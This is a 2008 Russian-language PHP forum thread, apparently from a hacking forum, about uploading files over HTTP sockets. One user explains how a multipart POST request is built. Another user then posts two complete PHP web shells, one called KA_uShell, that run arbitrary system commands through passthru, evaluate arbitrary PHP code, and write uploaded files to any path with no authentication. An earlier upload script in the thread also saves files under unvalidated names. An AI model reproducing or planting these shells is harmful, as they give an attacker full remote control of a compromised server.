Аплоад файлов. Php )

Discussion in 'PHP' started by попугай, 7 May 2008.

  1. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Не подскажите как организовать аплоад файлов при помощи сокетов?

    То есть мне нужно соединиться с серваком удаленным, и кинуть на скрипт, принимающий файлы свой файл и получить ссылку потом на него.

    Можно примеры или ссылки на инфу.. Заранее спасибо
     
  2. googlewumen

    googlewumen Banned

    Joined:
    3 May 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    1
    Скачай любой двиг файлообменника
     
  3. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    http://www.spravkaweb.ru/php/sovet/putfile
    http://forum.codenet.ru/showthread.php?t=47097
    + дописпть "получить ссылку потом на него"
     
    #3 Naydav, 7 May 2008
    Last edited: 7 May 2008
  4. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Я не советую делать upload через сокеты, тем более, что ты не сталкивался с такой темой. Там не очень простой HTTP-пакет получится, поэтому я больше чем уверен, что ты где-нибудь напортачишь... Пакет в принципе не сложный, смотрится примерно так:

    Code:
    POST /somehandler HTTP/1.1
    Host: somehost.somedomain
    Content-Type: multipart/form-data;boundary=---------------------------DaMaGeLaB
    Content-Length: ...
    
    -----------------------------DaMaGeLaB
    Content-Type: ...
    Content-Encoding: ...
    Content-Disposition: form-data; name="somename"
    
    XXYYZZ...
    -----------------------------DaMaGeLaB--
    То есть сам видишь - прежде чем послать запрос, тебе нужно верно расчитать Content-Length посылаемого файла, указать Content-Type и Content-Encoding, и переслать байты файла в соответствии с выбранным методом кодирования файла. При этом ещё нужно не напороть чепухи в разделителях секции...

    Куда проще воспользоваться уже наработанными методами - отправляй файл через форму, а в принимающем скрипте работай через функции аплоада. Вот пример:

    PHP:
    <?php

    $html_code 
    =<<<HTML_CODE
    <html>
    <head>
    <title>Upload</title>
    </head>
    <body>
    <form method="post" enctype="multipart/form-data">
    <input name="file1" type="file" /><br />
    <input type="submit" value="Upload" />
    </form>
    </body>
    </html>
    HTML_CODE;

    print(
    $html_code);

    define("SERVER_UPLOAD_DIR""upload");

    set_time_limit(0);

    if (isset(
    $_FILES) && is_array($_FILES)) {
       foreach (
    $_FILES as $file) {
          if (
    $file['error'] == 0) {
             
    $destination sprintf("%s/%s"SERVER_UPLOAD_DIR$file['name']);
             if (
    move_uploaded_file($file['tmp_name'], $destination)) {
                
    printf("File '%s' with size %s Kb was successfully uploaded...&nbsp;\n"$file['name'], round($file['size'] / 10242));
                    
    printf("<a href=\"http://%s%s/%s/%s\">Download File</a><br>"$_SERVER['SERVER_NAME'], dirname($_SERVER['REQUEST_URI']), SERVER_UPLOAD_DIR$file['name']);
             } else
                
    printf("Could not move uploaded file '%s' to destination..."$file['name']);
          } else
             
    printf("Error %s occuried. Could not upload file to server - skiping..."$file['error']);
       }
    }

    ?>
     
  5. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    все это не то... я же писал -что мне не нужен скрипт, который принимает, загружаемые мной файлы через форму...

    Мне нужно именно массово заливать картинки на radikal.ru.

    groundhog

    Да вот как раз вопрос был про заголовки которые нужно кидать на сервак

    Content Disposition, Content- type и другие...

    PS всем спасибо.. нашел статью

    http://phpclub.ru/detail/article/http_request

    Я конечно читал ее и ранее -но просто не обращал внимание на то , что там есть про алоад файлов...


    Вот код


    PHP:
    POST http://www.site.ru/postnews.html HTTP/1.0\r\n 
    Hostwww.site.ru\r\
    Referer
    http://www.site.ru/news.html\r\n 
    Cookieincome=1\r\
    Content
    -Typemultipart/form-databoundary=1BEF0A57BE110FD467A\r\n
    Content
    -Length491\r\n
    \r\n
    --1BEF0A57BE110FD467A\r\n
    Content
    -Dispositionform-dataname="news_header"\r\n
    \r\n
    Пример новости
    \r\n
    --1BEF0A57BE110FD467A\r\n
    Content
    -Dispositionform-dataname="news_file"filename="news.txt"\r\n
    Content
    -Typeapplication/octet-stream\r\n
    Content
    -Transfer-Encodingbinary\r\n
    \r\n
    А вот такая новость
    которая лежит в файле news.txt\r\n
    --1BEF0A57BE110FD467A--\r\n
     
    #5 попугай, 7 May 2008
    Last edited: 7 May 2008
  6. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Если на радикал картинки заливать, так это совсем другая тема, ибо там в скрытых полях служебная информация передаётся... Надо снифать...
     
  7. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    вот тебе маленький шелл

    PHP:
    <html>
    <head>
    <title>KA_uShell 0.1.6</title>
    <style type="text/css">
    <!--
    body, table{font-family:Verdana; font-size:12px;}
    table {background-color:#EAEAEA; border-width:0px;}
    b {font-family:Arial; font-size:15px;}
    a{text-decoration:none;}
    -->
    </style>
    </head>
    <body>

    <?php
    $self 
    $_SERVER['PHP_SELF'];
    $docr $_SERVER['DOCUMENT_ROOT'];
    $sern $_SERVER['SERVER_NAME'];
    $tend "</tr></form></table><br><br><br><br>";

    // Configuration
    $login "admin";
    $pass "123";


    /*/ Authentication
    if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="KA_uShell"');
    header('HTTP/1.0 401 Unauthorized');
    exit;}

    else {
    if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass || empty($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']<>$login)
    { echo "Что надо?"; exit;}
    }
    */



    if (!empty($_GET['ac'])) {$ac $_GET['ac'];}
    elseif (!empty(
    $_POST['ac'])) {$ac $_POST['ac'];}
    else {
    $ac "shell";}

    // Menu
    echo "
    |<a href=
    $self?ac=shell>Shell</a>|
    |<a href=
    $self?ac=upload>File Upload</a>|
    |<a href=
    $self?ac=tools>Tools</a>|
    |<a href=
    $self?ac=eval>PHP Eval Code</a>|
    |<a href=
    $self?ac=whois>Whois</a>|
    <br><br><br><pre>"
    ;


    switch(
    $ac) {

    // Shell
    case "shell":

    echo <<<HTML
    <b>Shell</b>
    <table>
    <form action="
    $self" method="POST">
    <input type="hidden" name="ac" value="shell">
    <tr><td>
    $
    $sern <input size="50" type="text" name="c"><input align="right" type="submit" value="Enter">
    </td></tr>
    <tr><td>
    <textarea cols="100" rows="25">
    HTML;

    if (!empty(
    $_POST['c'])){
    passthru($_POST['c']);
    }
    echo 
    "</textarea></td>$tend";
    break;


    //PHP Eval Code execution
    case "eval":

    echo <<<HTML
    <b>PHP Eval Code</b>
    <table>
    <form method="POST" action="
    $self">
    <input type="hidden" name="ac" value="eval">
    <tr>
    <td><textarea name="ephp" rows="10" cols="60"></textarea></td>
    </tr>
    <tr>
    <td><input type="submit" value="Enter"></td>
    $tend
    HTML;

    if (isset(
    $_POST['ephp'])){
    eval(
    $_POST['ephp']);
    }
    break;


    //Text tools
    case "tools":

    echo <<<HTML
    <b>Tools</b>
    <table>
    <form method="POST" action="
    $self">
    <input type="hidden" name="ac" value="tools">
    <tr>
    <td>
    <input type="radio" name="tac" value="1">B64 Decode<br>
    <input type="radio" name="tac" value="2">B64 Encode<br><hr>
    <input type="radio" name="tac" value="3">md5 Hash
    </td>
    <td><textarea name="tot" rows="5" cols="42"></textarea></td>
    </tr>
    <tr>
    <td> </td>
    <td><input type="submit" value="Enter"></td>
    $tend
    HTML;

    if (!empty(
    $_POST['tot']) && !empty($_POST['tac'])) {

    switch(
    $_POST['tac']) {

    case 
    "1":
    echo 
    "Раскодированный текст:<b>" .base64_decode($_POST['tot']). "</b>";
    break;

    case 
    "2":
    echo 
    "Кодированный текст:<b>" .base64_encode($_POST['tot']). "</b>";
    break;

    case 
    "3":
    echo 
    "Кодированный текст:<b>" .md5($_POST['tot']). "</b>";
    break;
    }}
    break;


    // Uploading
    case "upload":

    echo <<<HTML
    <b>File Upload</b>
    <table>
    <form enctype="multipart/form-data" action="
    $self" method="POST">
    <input type="hidden" name="ac" value="upload">
    <tr>
    <td>Файло:</td>
    <td><input size="48" name="file" type="file"></td>
    </tr>
    <tr>
    <td>Папка:</td>
    <td><input size="48" value="
    $docr/" name="path" type="text"><input type="submit" value="Послать"></td>
    $tend
    HTML;

    if (isset(
    $_POST['path'])){

    $uploadfile $_POST['path'].$_FILES['file']['name'];
    if (
    $_POST['path']==""){$uploadfile $_FILES['file']['name'];}

    if (
    copy($_FILES['file']['tmp_name'], $uploadfile)) {
        echo 
    "Файло успешно загружен в папку $uploadfile\n";
        echo 
    "Имя:" .$_FILES['file']['name']. "\n";
        echo 
    "Размер:" .$_FILES['file']['size']. "\n";

    } else {
        print 
    "Не удаётся загрузить файло. Инфа:\n";
        
    print_r($_FILES);
    }
    }
    break;


    // Whois
    case "whois":
    echo <<<HTML
    <b>Whois</b>
    <table>
    <form action="
    $self" method="POST">
    <input type="hidden" name="ac" value="whois">
    <tr>
    <td>Домен:</td>
    <td><input size="40" type="text" name="wq"></td>
    </tr>
    <tr>
    <td>Хуйз сервер:</td>
    <td><input size="40" type="text" name="wser" value="whois.ripe.net"></td>
    </tr>
    <tr><td>
    <input align="right" type="submit" value="Enter">
    </td></tr>
    $tend
    HTML;

    if (isset(
    $_POST['wq']) && $_POST['wq']<>"") {

    if (empty(
    $_POST['wser'])) {$wser "whois.ripe.net";} else $wser $_POST['wser'];

    $querty $_POST['wq']."\r\n";
    $fp fsockopen($wser43);

    if (!
    $fp) {echo "Не могу открыть сокет";} else {
    fputs($fp$querty);
    while(!
    feof($fp)){echo fgets($fp4000);}
    fclose($fp);
    }}
    break;


    }
    ?>
    </pre>
    </body>
    </html>
     
    1 person likes this.
  8. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    Вот чисто для уплода

    PHP:

    <html>
    <head>
    <title>uploader</title>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <style type="text/css">
    <!--
    body {  font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px}
    a {  color: #000000; text-decoration: none}
    a:hover {  color: #000066; text-decoration: underline}
    -->
    </style>
    </head>

    <body bgcolor="#999999" text="#000000">
    <center>
      <table width="700" border="0" bgcolor="#000066">
        <tr>
          <td>
            <table width="100%" border="0" bgcolor="#CCCCCC">
              <tr>
                <td> 
                  <p><font size="2"><b><font color="#FF0000">&nbsp;&nbsp;&nbsp;System: 
                    <font color="#000000"> 
                    <? passthru("uname -a"); ?>
                    </font><br>
                    &nbsp;&nbsp;&nbsp;Our permissions: <font color="#000000"> 
                    <? passthru("id"); ?>
                    </font><br>
                    &nbsp;&nbsp;&nbsp;Our locality: <font color="#000000"> 
                    <? passthru("pwd"); ?>
                    </font></font></b></font></p>
                  
    <pre>
    <?php 
    // FILE UPLOAD
    $uploaded $_FILES['userfile']['tmp_name'];
    if (
    file_exists($uploaded)) { 
       
    $pwd_dir $_POST['dira'];
       
    $real $_FILES['userfile']['name'];  
       
    $destination $pwd_dir."/".$real;
       
    copy($uploaded$destination);
       echo 
    "Uploaded process:";
       
    print_r ($_FILES); 
       echo 
    "FILE UPLOADED TO $destination";
    } else {
        echo 
    "&nbsp;&nbsp;No file uploaded"
    }
    ?>     </pre> <form name="form1" method="post" enctype="multipart/form-data">
                    <table width="100%" border="0">
                      <tr> 
                        <td width="35%"><font size="2"><b>&nbsp;&nbsp;Browse file 
                          to upload:</b></font></td>
                        <td width="65%"> 
                          <input type="file" name="userfile" size="45">
                        </td>
                      </tr>
                      <tr> 
                        <td width="35%"><b><font size="2">&nbsp;&nbsp;Destination:</font></b></td>
                        <td width="65%"> 
                          <input type="text" name="dira" size="45" value="<? passthru("pwd"); ?>">
                          <input type="submit" name="submit2" value="upload">
                        </td>
                      </tr>
                      <tr> 
                        <td width="35%"> 
                          <div align="right"> </div>
                        </td>
                        <td width="65%">&nbsp; </td>
                      </tr>
                      <tr> 
                        <td width="35%"><b><font size="2">&nbsp;&nbsp;Command to execute:</font></b></td>
                        <td width="65%">
                          <input type="text" name="cmd" size="45" value="<? echo $_POST['cmd']; ?>">
                          <input type="submit" name="submit" value="execute">
                        </td>
                      </tr>
                      <tr> 
                        <td width="35%"> 
                          <div align="right"> </div>
                        </td>
                        <td width="65%">&nbsp; </td>
                      </tr>
                    </table>
                  </form>
                  <p>
                              <pre>
                              <?
                              // command output 
                                    if ($_POST['cmd']){
                              $cmd = $_POST['cmd'];
                              echo "$cmd executed...<br>";
                              passthru("$cmd");
                              }
                              else {
                              echo "No shell command executed";
                              }
                              
                              ?></pre>
             
                    
                                     
                  <div align="right"> <font size="1"><b>2003 &copy; </b></font> </div>
                </td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
    </center>
    </body>
    </html>

     
  9. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Ali_MiX, это всё не в тему, его интересует вопрос с точки зрения построения HTTP-пакета посылаемого через POST как и что должно выглядеть...
     
  10. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    я что то тему не читал просто прочитал уплод через php